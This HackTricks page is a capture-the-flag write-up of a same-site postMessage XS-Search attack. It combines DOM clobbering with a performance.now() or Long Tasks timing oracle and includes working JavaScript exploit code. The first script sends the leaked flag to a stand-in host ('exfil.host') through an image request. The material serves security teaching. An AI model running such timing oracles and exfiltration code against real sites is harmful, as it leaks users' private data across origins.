performance-now-example.md (5346B)
1 --- 2 title: "performance.now example" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/performance.now-example.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/performance.now-example.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # performance.now example 14 15 **Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**<sup>[[1]](#references)</sup> 16 17 This is a **same-site `postMessage` XS-Search** oracle: the attacker controls a trusted `.jsapi.tech` subdomain, enables a hidden search gadget via **DOM clobbering**, and then measures how long the target page keeps the observable event loop busy while processing a candidate prefix.<sup>[[1]](#references)</sup> 18 19 ```javascript 20 const sleep = (ms) => new Promise((res) => setTimeout(res, ms)) 21 22 async function check(flag) { 23 let w = frame.contentWindow 24 w.postMessage( 25 { op: "preview", payload: '<img name="enable_experimental_features">' }, 26 "*" 27 ) 28 await sleep(1) 29 w.postMessage({ op: "search", payload: flag }, "*") 30 let t1 = performance.now() 31 await sleep(1) 32 return performance.now() - t1 > 200 33 } 34 35 async function main() { 36 let alpha = 37 "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}" 38 window.frame = document.createElement("iframe") 39 frame.width = "100%" 40 frame.height = "700px" 41 frame.src = "https://challenge.jsapi.tech/" 42 document.body.appendChild(frame) 43 await sleep(1000) 44 45 let flag = "nite{" 46 while (1) { 47 for (let c of alpha) { 48 let result = await Promise.race([ 49 check(flag + c), 50 new Promise((res) => 51 setTimeout(() => { 52 res(true) 53 }, 300) 54 ), 55 ]) 56 console.log(flag + c, result) 57 if (result) { 58 flag += c 59 break 60 } 61 } 62 new Image().src = "//exfil.host/log?" + encodeURIComponent(flag) 63 } 64 } 65 66 document.addEventListener("DOMContentLoaded", main) 67 ``` 68 69 ## Why this works 70 71 1. The vulnerable page exposes a `preview` operation that writes sanitized HTML into `innerHTML` **without** changing the real note contents. 72 2. The payload `<img name="enable_experimental_features">` **DOM-clobbers** `window.enable_experimental_features`, so the hidden `search()` feature stops returning early. 73 3. A correct guess makes `search()` do much more work than a miss: substring checks, repeated DOM appends with `<mark>`, and extra rendering for the results panel. 74 4. The attacker posts the `search` request, yields with `await sleep(1)`, and then uses `performance.now()` to see how late the timer resumes. A large delay means the victim branch was expensive.<sup>[[1]](#references)</sup> 75 76 ## Practical notes 77 78 - **Calibrate a threshold first** with several known-hit and known-miss probes, then classify each candidate using the median/average instead of a single run. 79 - **Reset state between probes** whenever the target accumulates DOM (for example, when highlights are appended but never cleared). Recreating the iframe per guess is slower but usually more stable. 80 - **Cache-bust repeated requests** if the target or browser can reuse previous results; otherwise the timing gap tends to collapse after the first few probes. 81 - This exact **busy event-loop** oracle is easiest when attacker and target stay **same-site / same-process enough** to share an observable thread. On modern deployments, off-site iframes or subresource loads often lose victim cookies because of `SameSite=Lax/Strict`, so the cross-site version frequently needs a **same-site foothold** or a **top-level navigation / popup** variant instead.<sup>[[2]](#references)</sup> 82 - If the signal is too noisy on a remote headless bot, force a **heavier positive branch** or pivot to related primitives such as [performance.now + Force heavy task](/hacktricks/pentesting-web/xs-search/performance-now-force-heavy-task) or [Event Loop Blocking + Lazy images](/hacktricks/pentesting-web/xs-search/event-loop-blocking-lazy-images). 83 84 ## PerformanceLongTaskTiming variant 85 86 The original intended solve used a **long-task** oracle instead of comparing raw deltas. This is useful when the positive branch reliably blocks the UI thread for `50ms+`:<sup>[[1]](#references)</sup> 87 88 ```javascript 89 const longTasks = [] 90 new PerformanceObserver((list) => longTasks.push(...list.getEntries())).observe({ 91 type: "longtask", 92 buffered: true, 93 }) 94 95 async function checkLongTask(flag) { 96 longTasks.length = 0 97 let w = frame.contentWindow 98 w.postMessage({ op: "preview", payload: '<img name="enable_experimental_features">' }, "*") 99 await sleep(1) 100 w.postMessage({ op: "search", payload: flag }, "*") 101 await sleep(75) 102 return longTasks.some((e) => e.duration >= 50) 103 } 104 ``` 105 106 This is cleaner than hand-picked thresholds, but the Long Tasks API reports tasks whose duration exceeds 50 ms, so a false negative does **not** prove the guess was wrong.<sup>[[3]](#references)</sup> 107 108 ## References 109 110 - [1] [niteCTF 2022 - js-api writeup](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) 111 - [2] [From XS-Leaks to SS-Leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks) 112 - [3] [W3C — Long Tasks API](https://www.w3.org/TR/longtasks-1/)